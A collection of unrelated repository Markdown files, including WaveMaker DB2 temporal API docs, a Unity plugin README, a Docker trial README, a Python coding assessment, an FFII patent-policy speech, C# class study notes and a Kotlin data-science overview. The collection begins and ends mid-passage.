[![](/learn/assets/dbtemp_datavalue.png)](/learn/assets/dbtemp_datavalue.png)

## Generated REST APIs

Two types of REST APIs are generated for the DB2 Temporal tables:

### Standard CRUD and additional functionalities.

Following conditions are applied for application temporal tables while requesting database.
    - findAll, count, export, aggregations: Along with the given query filter, the entities AS OF current time are listed.
### Period APIs

In addition to the standard APIs generated for the imported databases, the tables with temporals will have an additional period APIs auto-generated. This can be used to access the temporal data.

_periods_ This API returns the history data for the temporal table by applying given filters.

### Method: GET or POST Parameters

1. systemPeriodStart [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 01-01-1901.
2. systemPeriodEnd [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 31-12-9999.
3. applicationPeriodStart [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 01-01-1901.
4. applicationPeriodEnd [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 31-12-9999.
5. q [optional]: query to filter the history data.
6. Pageable [optional]: pagination information.

- _/periods/{id} (or) /periods/composite-id_ This Api returns the history data for given id and by applying given filters.

### Method: GET Parameters
1. Id columns information as specified for normal findById API.
2. systemPeriodStart [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 01-01-1901.
3. systemPeriodEnd [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 31-12-9999.
4. q [optional]: query to filter the history data.
5. Pageable [optional]: pagination information.

### Update & Delete API
For tables having Application temporals, these APIs will be generated. These API’s will make use of DB2 portion of syntax to update/delete the history.

- _/periods_ Method: PUT This API used to update the history data for Entity with given application temporal clause and q to filter.

#### Parameters:

1. applicationPeriodStart [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 01-01-1901.
2. applicationPeriodEnd [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 31-12-9999.
3. q [optional]: query to filter the history data.
4. Type: Body: Entity data to update.

#### Returns:
This API returns IntegerWrapper, with affected rows count. Method: DELETE This API used to delete the history data for Entity with given application temporal clause and q to filter. Parameters:
1. applicationPeriodStart [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 01-01-1901.
2. applicationPeriodEnd [optional]: exists in case of system temporal tables; period value should be in Timestamp format, default value: 31-12-9999.
3. q [optional]: query to filter the history data.Returns: This API returns IntegerWrapper, with affected rows count.

- _composite-id/periods_ Method: PUT This API used to update the history data for Entity with given application temporal clause.

#### Parameters:

1. id’s [optional]: Id columns as specified in normal Update API.
2. Type: Body: Entity data to update.

#### Returns:
This API returns IntegerWrapper, with affected rows count. Method: DELETE This API used to delete the history data for Entity with given application temporal clause.

#### Parameters:
1. id’s [optional]: Id columns as specified in normal Update API.

#### Returns:
This API returns IntegerWrapper, with affected rows count.

## Library Enhancements

To achieve the above functionality, a **@TableTemporal** annotation is added, specifying the table temporal types on that Entity/Table. This information is used while making the database request. This annotation requires temporal types array. Temporal Types can be:

- SystemTemporal - Tables having System Temporal will be annotated with this annotation.
- ApplicationTemporal - Tables having Application Temporal will be annotated with this annotation.

[![](/learn/assets/dbtemp_java.png)](/learn/assets/dbtemp_java.png)

Though there are no API changes in WMGenericDao, while processing request the above annotation will be used.

## Limitations

1. DB2 database is imported as a Read-Only schema. As such, no changes to the table schema is allowed from the platform. Any changes need to be made to the database and the database re-imported for the changes to be reflected in your WaveMaker app.
2. Update of rows for Portion of a business time period is not currently supported.

repository: wavemaker/docs

repo_name: wavemaker/docs


text:
## Getting Started

Unity Plugin for Windows Universal 8.1 (Windows 8.1 and Windows Phone 8.1) used when porting existing code bases which have used Mono/.Net APIs not supported by WinRT.

Not all unsupported WinRT/Windows Phone APIS are implemented, or implemented well by Unity. Where this is the case, we have implemented this plugin to help.

It is recommended to use methods implemented by Unity wherever possible, however missing APIs are still available under MarkerMetro.Unity.WinLegacy.Plugin namespace

See the [Unity FAQ on Universal Apps](http://docs.unity3d.com/Manual/WindowsUniversalApps-faq.html) which contains a complete breakdown of the platform conditional compilation you can use with Windows Apps and also broad guidance around the special plugin folders on Windows apps.

![build status](http://alice.markermetro.com/app/rest/builds/buildType:(id:WinLegacy_Ci)/statusIcon) **CI**

![build status](http://alice.markermetro.com/app/rest/builds/buildType:(id:WinLegacy_Release)/statusIcon) **Release**

## Prerequisites

- Visual Studio 2013
- Unity 5.0.0p2 (tested only on this version but should work on other 5.x builds)

## Getting Latest

### Build Latest from Source

We recommend using the latest stable tagged release, or you can build straight off the head if you are brave.

Configure the solution to Release | Any CPU and Rebuild.

You can then copy the folder contents as follows:

- /MarkerMetro.Unity.WinLegacyMetro/bin/Release > /Assets/Plugins/Metro/
- /MarkerMetro.Unity.WinLegacyUnity/bin/Release > /Assets/Plugins/
- /MarkerMetro.Unity.WinLegacyMetro/bin/Release > /Assets/Plugins/WindowsPhone81/

### Download Latest Stable Binaries

Alternatively, you can download latest from [Nuget](https://www.nuget.org/api/v2/package/MarkerMetro.Unity.WinLegacy)

Extract the files from the package and copy the folder contents as follows:

- /lib/netcore45/ > /Assets/Plugins/Metro/
- /lib/netcore45/ > /Assets/Plugins/Metro/WindowsPhone81/
- /lib/net35 > /Assets/Plugins/

Note: The Metro output will work fine for Universal projects with both Windows 8.1 and Windows Phone 8.1

## Initialize the Plugin

Within your Windows application, just need to ensure you initialize the plugin appropriately with examples as follows:

For Windows Universal and Windows 8.1 Apps add the following method to App.xaml.cs and call it after the call to appCallbacks.InitializeD3DXAML().

```csharp

void InitializePlugins()
{
    // wire up dispatcher for plugin
    MarkerMetro.Unity.WinLegacy.Dispatcher.InvokeOnAppThread = InvokeOnAppThread;
    MarkerMetro.Unity.WinLegacy.Dispatcher.InvokeOnUIThread = InvokeOnUIThread;
}

```
For Windows Universal and Windows 8.1 Apps the handlers should be as follows:

```csharp
public void InvokeOnAppThread(Action callback)
{
    appCallbacks.InvokeOnAppThread(() => callback(), false);
}

public void InvokeOnUIThread(Action callback)
{
    appCallbacks.InvokeOnUIThread(() => callback(), false);
}
```

You can see existing implementations in [WinShared](https://github.com/MarkerMetro/MarkerMetro.Unity.WinShared) here:

- [Windows Universal](https://github.com/MarkerMetro/MarkerMetro.Unity.WinShared/blob/master/WindowsSolutionUniversal/UnityProject/UnityProject.Shared/App.xaml.cs)
## Debugging locally

You can easily debug a particular Windows Store or Windows Phone plugin project as follows:

1. Add the platform specific WinLegacy project to your solution (e.g. MarkerMetro.Unity.WinWinLegacyMetro)
2. Build platform specific WinLegacy project in Debug and copy output to Unity(e.g. /Assets/Plugins/Metro)
3. Build from Unity
4. Set breakpoints in your platform specific WinLegacy plugin project and then F5 on your app

## Guidance for Usage

Wherever possible you want to minimize the changes to existing code, therefore we recommend applying a using statement for the platforms you need to provide support for. The following example ensures support for TcpClient for all Windows platform outputs

```c#
#if (UNITY_WINRT && !UNITY_EDITOR)
using TcpClient = MarkerMetro.Unity.WinLegacy.Net.Sockets.TcpClient;
#else
using TcpClient = System.Net.Sockets.TcpClient;
#endif
```

You can replace namespaces, files and use the extension classes provided as required. The general approach is to mimic the underlying .Net namespaces and implenentation as much as possible so there is minimal change required to legacy code bases when porting.

## Use WinShared to make things easier

If you are starting a new port and/or you want the best ongoing Unity integration with WinLegacy and related plugins, consider [MarkerMetro.Unity.WinShared](https://github.com/MarkerMetro/MarkerMetro.Unity.WinShared).

This will provide features such as:

- Initialization included within Windows projects provided
- Unity menu integration allowing you to get the latest stable version automatically from (Nuget)[https://www.nuget.org/packages/MarkerMetro.Unity.WinLegacy/]
- Unity menu integration for using local solution with automatic copy of build output into correct Unity plugin folders

## Please Contribute

We're open source, so please help everyone out by [contributing](CONTRIBUTING.md) as much as you can.


text:
# brXM Developer Trial
[![License](https://img.shields.io/github/license/bloomreach/brxm-developer-trial.svg)](http://www.apache.org/licenses/LICENSE-2.0)

Bloomreach Experience Developer Trial provides a simplified Docker-based setup for the Enterprise Edition.

## What is Bloomreach Experience Manager?
Bloomreach Experience Manager (brXM) is an open and flexible CMS designed for developers and marketers. As the original headless CMS, brXM allows developers to build quickly and integrate with the systems. While it’s built for speed, it also provides top-notch personalization and channel management capabilities for marketers to drive results.

## Get Started
The following Docker image is built as part of the [Bloomreach Experience Developer Trial](https://github.com/bloomreach/brxm-developer-trial). To get it running, you can follow the instructions provided in that repository.

## Usage
To run your project with this Docker image, you can mount your project directory as `/app`:
```bash
$ docker run -v /path/to/your/project:/app -p 8080:8080 bloomreach/developer-trial:latest
```

## Enterprise Repository
You can access Bloomreach Enterprise repository to get the latest versions of the dependencies by providing your user credentials in `MAVEN_USER` and `MAVEN_PASSWORD` environment variables:
```bash
$ docker run \
  -e MAVEN_USER=user \
  -e MAVEN_PASSWORD=password \
  -v /path/to/your/project:/app \
  -p 8080:8080 \
  bloomreach/developer-trial:latest
```

## License
[Apache 2.0](http://www.apache.org/licenses/LICENSE-2.0)


text:
# codeAssessment2
#### Final Grade: 8.75/12

1 Output off but mostly right. comments

2 Good and commented

3 Not working, but something there

4 Comparisons wrong

5 Mostly right comments

6 Mostly right but iteration through instance array way off when printing

### Instructions
Answer each question inside of the individual question files. Each file has the question paste inside of it.

### Problem 1
Ask the user to enter a number.
Using the provided list of numbers, use a for loop to iterate the array and print out all the values that are smaller than the user input and print out all the values that are larger than the number entered by the user.

```
# Start with this List
list_of_many_numbers = [12, 24, 1, 34, 10, 2, 7]
```
Example Input/Output if the user enters the number 9:
```
The User entered 9
1  2  7 are smaller than 9
12  24  34  10 are larger than 9
```
### Problem 2
Prompt the user with the message, ‘Is it better to be rude or kind to People?’
Keeping prompting the user to enter an answer until they enter the word kind.
Each time they enter something other than kind, print the message, ‘That’s not the answer I had hoped to hear. Try again.’ and prompt the user again.
Once the user enters kind, print, ’Now that’s what I wanted to hear!’ and exit the program.

### Problem 3
Given 2 lists of claim numbers, write the code to merge the 2 lists provided to produce a new list by alternating values between the 2 lists. Once the merge has been completed, print the new list of claim numbers (DO NOT just print the array variable!)
```
# Start with these lists
list_of_claim_nums_1 = [2, 4, 6, 8, 10]
list_of_claim_nums_2 = [1, 3, 5, 7, 9]
```
Example Output:
```
The newly created list contains:     2  1  4  3  6  5  8  7  10  9
```
### Problem 4
Write a program that allows users to compare words by their length. Implement a function called chk_strings that accepts 2 strings entered by the user and compares them by length
The function should return true if the first string parameter has more characters (i.e. longer) than the second string passed into the function, otherwise, the function should return false.
DO NOT print the result in the function, print the result using the return value provided by the function.

Example Input/Output:
```
Enter the first string: BIRD
Enter the second string: COW

BIRD is longer than COW
```
### Problem 5
Create a SportsTeam Class for tracking sports teams. The class should have the properties team_name_p, team_city, and team_ranking_p.
The class should have a method to change a Team’s ranking.
The class should implement the ```__str__``` method so that when an instance of the SportsTeam is printed it will output a string containing the team name, team city, and team rank (use f strings to format the output).
Your program should create a SportsTeam instance with an initial ranking of 2.
Print out the class.
Your program should change the ranking of the team to 8 using only the class method.
Print out the class (should use your ```__str__``` method).

Example Output:
```
The Grizzlies are from Memphis and are 2 in the standings.
# Update the rating from 2 to 8 from your code
The Grizzlies are from Memphis and are 8 in the standings.
```
### Problem 6
Create a class called ClubMember
Each club member has a name and a role
Create ClubMember instances for the following people:
```
Alfred - Club President
Troy - Club Vice President
Albert - Club Secretary
Bob - Club Treasurer
```
Add each member instance to a new club_members list that you create.
Write the code needed to loop through the club member list and print the current number of members in the list, then the member’s name and club role, one per line using f strings.

Example Output:
```
There are currently 4 club members in the list!

Club President: Alfred
Club Vice President: Troy
Club Secretary: Albert
Club Treasurer: Bob
```


text:
Specification document
======================

Problem to be solved
--------------------

A reasonably performing programming language interpreter, for a nice functional language.

Targets
-------

* Functional
* Light syntax
* Mostly immutable
* Macro system

Example
-------

The language **might** look something like this:

    stuff = [42 36 72]
    add = (arg1, arg2) ->
        arg1 + arg2
    main = (args) ->
        print(reduce(add, stuff)) # 150
        for range(100), (i) ->
            print(i)              # 0..99
        length(args) == 0 ?
            print("No args")
        !?
            printf("Args: {}", args)

Algorithms and data structures
------------------------------

| Data structure | For                                   | Time Complexity | Space Complexity |
|----------------|---------------------------------------|-----------------|------------------|
| Hash Table     | Scoping, use in programming           | mostly `O(1)`   | `O(n)`           |
| Dynamic Array  | Use in programming                    | mostly `O(n)`   | `O(n)`           |
| Stack          | Programs run on a stack               | `O(1)`          | `O(n)`           |
| Some tree      | Representation of source, programming | `O(log(n))`     | `O(n)`           |
| Heap           | Use in programming                    | `O(log(n))`     | `O(n)`           |

| Algorithm      | For                                 | Time Complexity | Space Complexity |
|----------------|-------------------------------------|-----------------|------------------|
| Pratt parser   | Creates an AST tree from the tokens | LL(1) `O(n)`    | `O(n)`           |
| Some tokenizer | Creates tokens from the source code | `O(n)`          | `O(n)`           |
| Some GC        | For collecting garbage              | Not sure        | Not sure         |
| Some sort      | For programming                     | `O(n log(n))`   | Not sure         |

repository: minttu/tila

repo_name: minttu/tila


text:
To setup a TURBOMOLE calulation:
```
tp -g geom.xyz -n -d 'b-p'
```
creates a control file.

For a periodic calulation, you need to perform a TURBOMOLE calculation with the following keywords __before the $end statement__:
```
$periodic 1
$cell
    4.6843902891
$kpoints
nkpoints 9
```
To optimize the cell add __before the $end statement__:
```
$optcell
```
Then launch:
```
get_turbofile
```
creates a submit.job file.
Edit submit.job to run
```
jobex -riper -c 100
```
Finally:
```
sbatch submit.job
```


text:
# Ubuntu-Settings
This Repository contains some config / install scripts for setting up
Ubuntu 14.04 LTS the way I like it.

You can run the main driver script by git cloning the repository to a location
in Ubuntu, cd'ing into the root of the Repo and running the following command:

'''
sh ./auto_install.sh
'''

It will prompt for your password, and then set stuff up.

## WARNINGS
This will set stuff up the way I like it. You may hate it, or like it, or want
to change things.

I recommend git cloning and browsing through the three scripts:

- auto_install.sh    -> this is calls the two other scripts.
- desktop_install.sh -> this mass installs a ton of programs. Read through the
script to see which ones get installed.
- configure.sh       -> This copies over some defaults / configs I like for Sublime,
Shutter, default apps, etc.

Feel free to fork this, change stuff, do whatever. It's MIT licensed so just
don't sue me if it breaks your OS or whatever.


text:
# Exercise 2
Using the text-edit of your choice (e.g., Atom), create a new file called `README.md`. Alternatively, you may clone this repository and edit this file.

In your `README.md` document, make a three column table of the current courses you are taking, with separate columns for course number (in **bold**), course title (in _italics_), and instructor name.

Note that you can preview this Markdown in Atom to make sure it works correctly.

| **Course number** | _Course title_ | Instructor name |
| :-----------------|:---------------| :---------------|
| **BIOF-100**          | _Bioinformatics_ | Charles          |
| **CS-392**            | _Game Engine Design_ | Seth         |
| **CS-226**            | _SQL_           |   Nina |
| **CS-445**            | _Databases for Data Science_ | Nina |

repository: VeachTech/book-exercises

repo_name: VeachTech/book-exercises


text:
---
title: "FFII statement given at EU patent policy hearing"
date: "2006-07-12"
categories:
  - "ffii"
tags:
  - "ffii"
  - "press"
---

**Brussels, 12 July 2006. The FFII today asks in its speech at the EU patent policy hearing for addressing the European patent problems at the core: the malpractice of the European Patent Office (EPO). The FFII is particularly concerned about how the proposed European Patent Litigation Agreement would put the only future European patent court under EPO control. In the US, a single centralised patent court led to the proliferation of software and business method patents. Europe must not make the same mistake.**

Honourable Chair, Ladies and Gentlemen,

The FFII represents 3,500 IT companies and 100,000 IT individuals. I will speak on behalf of the FFII constituency.

As has been said by other speakers, the EPLA will make litigation 2-3 times more expensive. Numbers come from the EPO.

What does this mean for SMEs?

  And if you cannot defend yourself, you will be forced to license, even if the patent is weak or invalid.

Granted patents that are invalid are a plague, yet 50% of all patent litigation concerns patent validity. That means every second trial relates to a problem that should not be there in the first place. Every second patent trial is a trial which could be 100% cheaper for all parties involved if the organisation responsible for the granting of patents would have taken it's full responsibility, but also if these patents would never have been filed.

Patent inflation is not a victimless crime. The victims are SMEs, even more so if litigation becomes 2-3 times more expensive.

But instead of fighting patent inflation and work on the problems at the EPO, we are now focussing on litigation.

Why is that so?

Maybe the answer lies close to what the Commission recently said in the Extended Consultation documentation, where the Commission strongly criticised the European Patent Office over attempting to define European patent policy. I quote:

- "Whilst being basically a patent granting office, the EPO has ambitions to steer patent policy at European and international levels. It has a business culture of its own with very little understanding for what happens in Brussels in a more global context. Initiatives from Brussels implying changes to the existing multilateral European patent system are considered as an attack on the holy writ. The EPO has close ties with national patent offices and far less with the ministerial level in Member States. Recently the EPO has become subject to growing criticism by MEPs and various EU Member States for a lack of political accountability."

End quote.

Now, if lack of political accountability is considered a problem, why give EPO even more power? The EPLA would remove all national patent courts and put a single European-wide court in its place. However, the judges of this European-wide court would be appointed by the people who run the European Patent Office. Moreover, these judges could hold positions at the European Patent Office in parallel. Further, every six years these judges can be re-appointed if they live up to the expectations of, again, the very same people who run the European Patent Office.

EPLA puts an executive organisation in charge of running the judiciary. This is unacceptable. Tax offices, city planning departments and social assistance offices do not re-appoint judges deciding over their work, and there is no reason why a patent office should be exempted from this rule.

An executive must not control the judiciary. The Commission, if anyone, must know that. Why this extremism?

Petty differences between EPO and national interpretation and patent practice need not EPLA to be resolved. European judges can themselves find out if e.g. the special term "edible fruit" is disclosing prior art compared to the general term "vegetables". But the more serious, EPO also thinks programs for computers are inventions, even if EPC and its national implementations say that they are not. This is a fundamental difference.

It has been said the centralised US court "Court of Appeals for the Federal Circuit" was the driving force behind the introduction of software and business method patents in the US. Maybe this is the most important reason why EPO needs EPLA, but is it what Europe needs?

The answer from the European Parliament last year was No.

Thank you.

# Links

- [EU patent policy hearing agenda](http://ec.europa.eu/internal_market/indprop/docs/patent/final_agenda_en.pdf)

- [Commission criticises EPO's behaviour and lack of accountability](http://kwiki.ffii.org/ComEPOPr060710En)

- [EPLA analysis showing EPLA will be more expensive for SMEs](http://kwiki.ffii.org/EplaAnalysisEn)

# Contact Information

Erik Josefsson FFII representative +32-484-082063 ehj at ffii.org (Swedish/English) Benjamin Henrion FFII Brussels +32-2-414 84 03 (fixed) +32-484-56 61 09 (mobile) bhenrion at ffii.org (French/English) Jonas Maebe FFII board member jmaebe at ffii.org (Dutch/English)

# About the FFII

The FFII is a not-for-profit association registered in twenty European countries, dedicated to the development of information goods for the public benefit, based on copyright, free competition, open standards. More than 850 members, 3,500 companies and 100,000 supporters have entrusted the FFII to act as their voice in public policy questions concerning exclusion rights (intellectual property) in data processing.


text:
---
layout: docs.html
title: Card
section: elements
---

A card represents a set of related information, serving as an entry point for a more detailed view of that information.

{{#demo}}

Jane Doe

    <address>
      123 Main Street

      Anywhere, USA
    </address>

{{/demo}}

repository: Pearson-Higher-Ed/elements

gha_language: CSS

repo_name: Pearson-Higher-Ed/elements


text:
## TrafficTrace

- `selectors` (required, repeated)

    List of selectors to match dataplanes.

    - `match` (optional)

        Tags to match, can be used for both source and destinations

- `conf` (optional)

    Configuration of the tracing.

    - `backend` (optional)

        Backend defined in the Mesh entity.

repository: kumahq/kuma

repo_name: kumahq/kuma


text:
### WELCOME to CLASSES

* Book source [C# in a Nutshell 6.0](http://shop.oreilly.com/product/0636920040323.do?sortby=publicationDate)

```
Preceding the keyword  `class Attributes` and *class* modi ers. The non-nested class modi ers are `public`, `internal`,`abstract`,`sealed`,`static`,`unsafe`, and `partial`

`Within the braces Class members`   *(these are methods, properties, indexers, events,  elds,
constructors, overloaded operators, nested types, and a  nalizer)*
```

* Class Fields

```
Static modifier     `static`
Access modifiers    `public internal private protected new`
Inheritance modifier `new`
Unsafe code modifier `unsafe`
Read-only modifier  `readonly`
Threading modifier   `volatile`

* A read-only field can be assigned only in its declaration or within the enclosing type’s constructor.*
*An uninitialized field has a default value (0, \0, null, false)*

```
* Methods

```
Static modifier       `static`
Access modifiers      `public internal private protected`
Inheritance modifiers `new virtual abstract override sealed`
Partial method modifier  `partial`
Unmanaged code modifiers  `unsafe extern`
Asynchronous code modifier `async`
````

```c#
int Foo (int x) { return x * 2; }
int Foo (int x) => x * 2;
void Foo (int x) => Console.WriteLine (x);

//Achtung hier
    void Foo (int x) {...}
    void Foo (ref int x) {...}     // OK so far
    void Foo (out int x) {...}     // Compile-time error

```

* Constructors

```c#
public class Panda
{
  string name;
  public Panda (string n)   // the same name and return type als the class
  {
    name = n;

    Panda p = new Panda ("Petey");

  }
}

/*
Access modifiers  public internal private protected
Unmanaged     code modi ers unsafe extern

A class or struct may overload constructors.
To avoid code duplication, one con‐ structor may call another, using the this keyword:
*/

using System;
    public class Wine
    {
          public decimal Price;
          public int Year;
          public Wine (decimal price) { Price = price; }
          public Wine (decimal price, int year) : this (price) { Year = year; }  // this is c# style java is different
}
//pass expression to anoth constructor
public Wine (decimal price, DateTime year) : this (price, year.Year) { }

// when no constructor is specified the compiler generate a parameterless one ---> like in java

 public class Bunny
    {
      public string Name;
      public bool LikesCarrots;
      public bool LikesHumans;
      public Bunny () {}
      public Bunny (string n) { Name = n; }
    }

    // Note parameterless constructors can omit empty parentheses
    Bunny b1 = new Bunny { Name="Bo", LikesCarrots=true, LikesHumans=false };
    Bunny b2 = new Bunny ("Bo")     { LikesCarrots=true, LikesHumans=false };

    //c#3.0 java like approach
    public Bunny (string name, bool likesCarrots = false, bool likesHumans = false)
    {
        Name = name;
        LikesCarrots = likesCarrots; LikesHumans = likesHumans;
     }

      Bunny b1 = new Bunny (name: "Bo", likesCarrots: true);

      //The this
      //The this reference is valid only within nonstatic members of a class or struct.
       public class Test
      {
          string name;
          public Test (string name) { this.name = name; }
    }

```

* Properties

```c#
//A property is declared like a field, but with a get/set block added. Just like in java but here looks different
//The set accessor can be marked private or protected if you want to expose the property as read-only to other types.

public class Stock
{
  decimal currentPrice;           //// The private "backing" field
  public decimal CurrentPrice     // The public property
  {
    get { return currentPrice; }
    set { currentPrice = value; }
  }
}

    decimal currentPrice, sharesOwned;
    public decimal Worth
    {
      get { return currentPrice * sharesOwned; }
    }

    // or better
    public decimal Worth => currentPrice * sharesOwned;

    public decimal CurrentPrice { get; set; } = 123; // read and write

     // This gives CurrentPrice an initial value of 123. Properties with an initializer can be read-only:
            public int Maximum { get; } = 999;

```

* Implementing an indexer  [mdn](https://msdn.microsoft.com/en-us/library/2549tw02.aspx)

```c#
 class Sentence
    {
      string[] words = "The quick brown fox".Split();
      public string this [int wordNum]     //indexer  // If index is out of range, the temps array will throw the exception.
      {
        get { return words [wordNum];  }
        set { words [wordNum] = value; }
      }
}
public string this [int wordNum] => words [wordNum]; // when there are no setters c#6 makes it simple

//main method here
//Here’s how we could use this indexer:
    Sentence s = new Sentence();
    Console.WriteLine (s[3]);
    s[3] = "kangaroo";
    Console.WriteLine (s[3]);

    //Static Classes
A class can be marked static, indicating that it must be composed solely of static members and cannot be subclassed. The System.Console and System.Math classes are good examples of static classes.

```

* Inheritence

```c#
A class can inherit from another class to extend or customize the original class. Inheriting from a class lets you reuse the functionality in that class instead of build‐ ing it from scratch. A class can inherit from only a single class but can itself be inherited by many classes,

public class Stock : Asset {
  public long SharesOwned;
}
public class House : Asset {
  public decimal Mortgage;
}

Stock msft = new Stock { Name="MSFT", SharesOwned=1000 };
    Console.WriteLine (msft.Name);         // MSFT
    Console.WriteLine (msft.SharesOwned);  // 1000

    House mansion = new House { Name="Mansion",
                                Mortgage=250000 };
    Console.WriteLine (mansion.Name);      // Mansion
    Console.WriteLine (mansion.Mortgage);  // 250000

    Asset    //base class
    -   -
   -     -
  -       -
 House    Stock     // this are the subclasses or derived classes

```

* Polymorphism

```c#
References are polymorphic. This means a variable of type x can refer to an object that subclasses x.

This method can display both a Stock and a House, since they are both Assets: Stock msft = new Stock ... ;

public static void Display (Asset asset)
    {
      System.Console.WriteLine (asset.Name);
    }
    House mansion = new House ... ;
    Display (msft);
    Display (mansion);

    Aber the opposite is not true

    static void Main() { Display (new Asset()); }  // Compile-time error
    public static void Display (House house)
    {
      System.Console.WriteLine (house.Mortgage);
    }

    ///Casting and Reference Conversions
     An upcast always succeeds; a downcast succeeds only if the object is suitably typed.

    // Upcasting

    Stock msft = new Stock();
    Asset a = msft;              // Upcast
    Console.WriteLine (a == msft); // True
    Although a and msft refer to the identical object, a has a more restrictive view on
    that object:
    Console.WriteLine (a.Name);           // OK
    Console.WriteLine (a.SharesOwned);    // Error: SharesOwned undefined //To get to its SharesOwned field, you must downcast the Asset to a Stock.

    //downcast

Stock msft = new Stock();
Asset a = msft;      // Upcast
Stock s = (Stock)a; // Downcast
Console.WriteLine (s.SharesOwned); // <No error>
Console.WriteLine (s == a); // True
Console.WriteLine (s == msft);// True

```

repository: seekaddo/oom

repo_name: seekaddo/oom


text:
[//]: # (title: Kotlin for data science)

From building data pipelines to productionizing machine learning models, Kotlin can be a great choice for
working with data:
* Kotlin is concise, readable, and easy to learn.
* Static typing and null safety help create reliable, maintainable code that is easy to troubleshoot.
* Being a JVM language, Kotlin gives you great performance and an ability to leverage an entire ecosystem
of tried and true Java libraries.

## Interactive editors

Notebooks such as [Jupyter Notebook](https://jupyter.org/), [Datalore](http://jetbrains.com/datalore), and [Apache Zeppelin](https://zeppelin.apache.org/) provide
convenient tools for data visualization and exploratory research.
Kotlin integrates with these tools to help you explore data, share your findings with
colleagues, or build up your data science and machine learning skills.

### Kotlin Notebook

The [Kotlin Notebook](https://plugins.jetbrains.com/plugin/16340-kotlin-notebook) is a plugin for IntelliJ IDEA that
allows you to create notebooks in Kotlin. It leverages the [Kotlin kernel](#jupyter-kotlin-kernel) for executing the
cells and harnesses the powerful Kotlin IDE support to offer real-time code insights. It is now the preferred method
for working with Kotlin notebooks. Be sure to check out our [blog post](https://blog.jetbrains.com/kotlin/2023/07/introducing-kotlin-notebook/) about it.

![Kotlin Notebook](kotlin-notebook.png){width=800}

### Jupyter Kotlin kernel

The Jupyter Notebook is an open-source web application that allows you to create and share documents
(aka "notebooks") that can contain code, visualizations, and Markdown text.
[Kotlin-jupyter](https://github.com/Kotlin/kotlin-jupyter) is an open source project that brings Kotlin
support to Jupyter Notebook.

![Kotlin in Jupyter notebook](kotlin-jupyter-kernel.png){width=800}

Check out Kotlin kernel's [GitHub repo](https://github.com/Kotlin/kotlin-jupyter) for installation
instructions, documentation, and examples.

### Kotlin Notebooks in Datalore

With Datalore, you can use Kotlin in the browser straight out of the box, no installation required.
You can also collaborate on Kotlin notebooks in real time, get smart coding assistance when writing code, and share results as interactive or static reports.
Check out a [sample report](https://datalore.jetbrains.com/view/report/9YLrg20eesVX2cQu1FKLiZ).

![Kotlin in Datalore](kotlin-datalore.png){width=800}

[Sign up and use Kotlin with a free Datalore Community account](https://datalore.jetbrains.com/).

### Zeppelin Kotlin interpreter

Apache Zeppelin is a popular web-based solution for interactive data analytics. It provides strong support
for the Apache Spark cluster computing system, which is particularly useful for data engineering.
Starting from [version 0.9.0](https://zeppelin.apache.org/docs/0.9.0-preview1/), Apache Zeppelin comes with
bundled Kotlin interpreter.

![Kotlin in Zeppelin notebook](kotlin-zeppelin-interpreter.png){width=800}

## Libraries

The ecosystem of libraries for data-related tasks created by the Kotlin community is rapidly expanding.
Here are some libraries that you may find useful:

### Kotlin libraries

* [Multik](https://github.com/Kotlin/multik): multidimensional arrays in Kotlin. The library provides Kotlin-idiomatic,
  type- and dimension-safe API for mathematical operations over multidimensional arrays. Multik offers swappable
  JVM and native computational engines, and a combination of the two for optimal performance.

* [KotlinDL](https://github.com/jetbrains/kotlindl) is a high-level Deep Learning API written in Kotlin and inspired
  by Keras. It offers simple APIs for training deep learning models from scratch, importing existing Keras models
  for inference, and leveraging transfer learning for tweaking existing pre-trained models to your tasks.

* [Kotlin DataFrame](https://github.com/Kotlin/dataframe) is a library for structured data processing. It aims to
  reconcile Kotlin's static typing with the dynamic nature of data by utilizing both the full power of the Kotlin language
  and the opportunities provided by intermittent code execution in Jupyter notebooks and REPLs.

* [Kotlin for Apache Spark](https://github.com/JetBrains/kotlin-spark-api) adds a missing layer of compatibility between
  Kotlin and Apache Spark. It allows Kotlin developers to use familiar language features such as data classes, and
  lambda expressions as simple expressions in curly braces or method references.

* [kotlin-statistics](https://github.com/thomasnield/kotlin-statistics) is a library providing extension functions for
exploratory and production statistics. It supports basic numeric list/sequence/array functions (from `sum` to `skewness`),
slicing operators (such as `countBy`, `simpleRegressionBy`), binning operations, discrete PDF sampling,
naive bayes classifier, clustering, linear regression, and much more.

* [kmath](https://github.com/mipt-npm/kmath) is an experimental library that was intially inspired by
[NumPy](https://numpy.org/) but evolved to more flexible abstractions. It implements mathematical operations combined in
algebraic structures over Kotlin types, defines APIs for linear structures, expressions, histograms, streaming operations,
provides interchangeable wrappers over existing Java and Kotlin libraries including
[ND4J](https://github.com/eclipse/deeplearning4j/tree/master/nd4j),
[Commons Math](https://commons.apache.org/proper/commons-math/), [Multik](https://github.com/Kotlin/multik), and others.

* [krangl](https://github.com/holgerbrandl/krangl) is a library inspired by R's [dplyr](https://dplyr.tidyverse.org/)
and Python's [pandas](https://pandas.pydata.org/). This library provides functionality for data manipulation using
a functional-style API; it also includes functions for filtering, transforming, aggregating, and reshaping tabular data.

* [lets-plot](https://github.com/JetBrains/lets-plot) is a plotting library for statistical data written in Kotlin.
Lets-Plot is multiplatform and can be used not only with JVM, but also with JS and Python.

* [kravis](https://github.com/holgerbrandl/kravis) is another library for the visualization of tabular data inspired by
R's [ggplot](https://ggplot2.tidyverse.org/).

* [londogard-nlp-toolkit](https://github.com/londogard/londogard-nlp-toolkit/) is a library that provides utilities when working with natural language processing such as word/subword/sentence embeddings, word-frequencies, stopwords, stemming, and much more.

### Java libraries

Since Kotlin provides first-class interop with Java, you can also use Java libraries for data science in your Kotlin code.
Here are some examples of such libraries:

* [DeepLearning4J](https://deeplearning4j.konduit.ai) - a deep learning library for Java

* [ND4J](https://github.com/eclipse/deeplearning4j/tree/master/nd4j) - an efficient matrix math library for JVM

* [Dex](https://github.com/PatMartin/Dex) - a Java-based data visualization tool

* [Smile](https://github.com/haifengl/smile) - a comprehensive machine learning, natural language processing,
linear algebra, graph, interpolation, and visualization system. Besides Java API, Smile also provides a functional
